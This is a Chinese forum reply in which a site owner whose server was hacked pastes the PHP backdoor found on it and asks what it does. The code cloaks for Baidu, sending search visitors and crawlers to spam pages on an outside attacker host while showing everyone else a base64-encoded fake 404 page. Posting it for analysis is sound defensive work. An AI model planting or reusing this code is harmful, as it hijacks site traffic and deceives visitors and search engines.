回复: 网站被入侵，贴出神奇代码hex2bin，base64，谁能看的懂
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
$sszt = 0;
$lailu = $_SERVER['HTTP_REFERER'];
$useragent = strtolower($_SERVER['HT'.'TP_U'.'SE'.'R_AG'.'EN'.'T']);
if(eregi('baidu.c',$lailu))$sszt = 1;
if($sszt == 1)
{
foreach($_GET as $key=>$value)
{
$tags1 = $key;
}
$tags1 = substr($tags1,3,1);
if($tags1 == 'A')
$list1 = 'http://t.1520015.com:3306/yh/tiao.php';
elseif($tags1 == 'B')
$list1 = 'http://t.1520015.com:3306/dh/tiao.php';
elseif($tags1 == 'C')
$list1 = 'http://t.1520015.com:3306/dt/tiao.php';
elseif($tags1 == 'D')
$list1 = 'http://t.1520015.com:3306/qqsg/tiao.php';
elseif($tags1 == 'E')
$list1 = 'http://t.1520015.com:3306/wl/tiao.php';
elseif($tags1 == 'F')
$list1 = 'http://t.1520015.com:3306/zx/tiao.php';
elseif($tags1 == 'G')
$list1 = 'http://t.1520015.com:3306/xy/tiao.php';
elseif($tags1 == 'H')
$list1 = 'http://t.1520015.com:3306/js/tiao.php';
Header("Location:".$list1."?".$_SERVER['SERVER_NAME']);
}
elseif(eregi('baidu',$useragent)){
foreach($_GET as $key=>$value)
{
$url = $key;
}
$tags = substr($url,3,1);
if($tags == 'A')
$list = 'http://jk.1520015.com:3306/jk/a/index.php';
elseif($tags == 'B')
$list = 'http://jk.1520015.com:3306/jk/b/index.php';
elseif($tags == 'C')
$list = 'http://jk.1520015.com:3306/jk/c/index.php';
elseif($tags == 'D')
$list = 'http://jk.1520015.com:3306/jk/d/index.php';
elseif($tags == 'E')
$list = 'http://jk.1520015.com:3306/jk/e/index.php';
elseif($tags == 'F')
$list = 'http://jk.1520015.com:3306/jk/f/index.php';
elseif($tags == 'G')
$list = 'http://jk.1520015.com:3306/jk/g/index.php';
elseif($tags == 'H')
$list = 'http://jk.1520015.com:3306/jk/h/index.php';
else
$list = 'http://jk.1520015.com:3306/jk/a/index.php';
function readurl($url)
{
$resp = @file_get_contents($url);
return $resp;
}
$datatmp = readurl($list.'?'.$get);
echo $datatmp;
}
else{die(base64_decode('PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+DQo8SFRNTD48SEVBRD48VElUTEU+zt63qNXStb24w9KzPC9USVRMRT4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PUdCMjMxMiI+DQo8U1RZTEUgdHlwZT0idGV4dC9jc3MiPg0KICBCT0RZIHsgZm9udDogOXB0LzEycHQgy87M5SB9DQogIEgxIHsgZm9udDogMTJwdC8xNXB0IMvOzOUgfQ0KICBIMiB7IGZvbnQ6IDlwdC8xMnB0IMvOzOUgfQ0KICBBOmxpbmsgeyBjb2xvcjogcmVkIH0NCiAgQTp2aXNpdGVkIHsgY29sb3I6IG1hcm9vbiB9DQo8L1NUWUxFPg0KPC9IRUFEPjxCT0RZPjxUQUJMRSB3aWR0aD01MDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MTA+PFRSPjxURD4NCg0KPGgxPs7et6jV0rW9uMPSszwvaDE+DQrE+tX91NrL0cv3tcTSs8Pmv8nE3NLRvq3JvrP9oaK4/MP7u/LU3cqxsru/ydPDoaMNCjxocj4NCjxwPsfrs6LK1NLUz8Ky2df3o7o8L3A+DQo8dWw+DQo8bGk+yLexo+SvwMDG97XEtdjWt8C41tDP1Mq+tcTN+NW+tdjWt7XExrTQtLrNuPHKvdX9yLfO3s7zoaM8L2xpPg0KPGxpPsjnufvNqLn9taW798G0vdO2+LW9tO/By7jDzfjSs6Osx+vT68341b653MDt1LHBqs+1o6zNqNaqy/vDx7jDwbS907XEuPHKvbK71f3It6GjDQo8L2xpPg0KPGxpPrWlu/c8YSBocmVmPSJqYXZhc2NyaXB0Omhpc3RvcnkuYmFjaygxKSI+uvPNyzwvYT6wtMWls6LK1MHt0ru49sG0vdOhozwvbGk+DQo8L3VsPg0KPGgyPkhUVFAgtO3O8yA0MDQgLSDOxLz+u/LEv8K8zrTV0rW9oaM8YnI+SW50ZXJuZXQg0MXPorf+zvEgKElJUyk8L2gyPg0KPGhyPg0KPHA+vLzK9dDFz6KjqM6qvLzK9dans9bIy9SxzOG5qaOpPC9wPg0KPHVsPg0KPGxpPteqtb0gPGEgaHJlZj0iaHR0cDovL2dvLm1pY3Jvc29mdC5jb20vZndsaW5rLz9saW5raWQ9ODE4MCI+TWljcm9zb2Z0ILL6xrfWp7PWt/7O8TwvYT6yosvRy/ew/MCoJmxkcXVvO0hUVFAmcmRxdW87us0mbGRxdW87NDA0JnJkcXVvO7XEserM4qGjPC9saT4NCjxsaT608r+qJmxkcXVvO0lJUyCw79b6JnJkcXVvO6Oov8nU2iBJSVMgudzA7cb3IChpbmV0bWdyKSDW0LfDzsqjqaOsyLu688vRy/ex6szizqombGRxdW87zfjVvsno1sMmcmRxdW87oaImbGRxdW87s6O55rncwO3Izs7xJnJkcXVvO7rNJmxkcXVvO7nY09rX1Lao0uW07c7zz/vPoiZyZHF1bzu1xNb3zOKhozwvbGk+DQo8L3VsPg0KDQo8L1REPjwvVFI+PC9UQUJMRT48L0JPRFk+PC9IVE1MPg0K'));
}
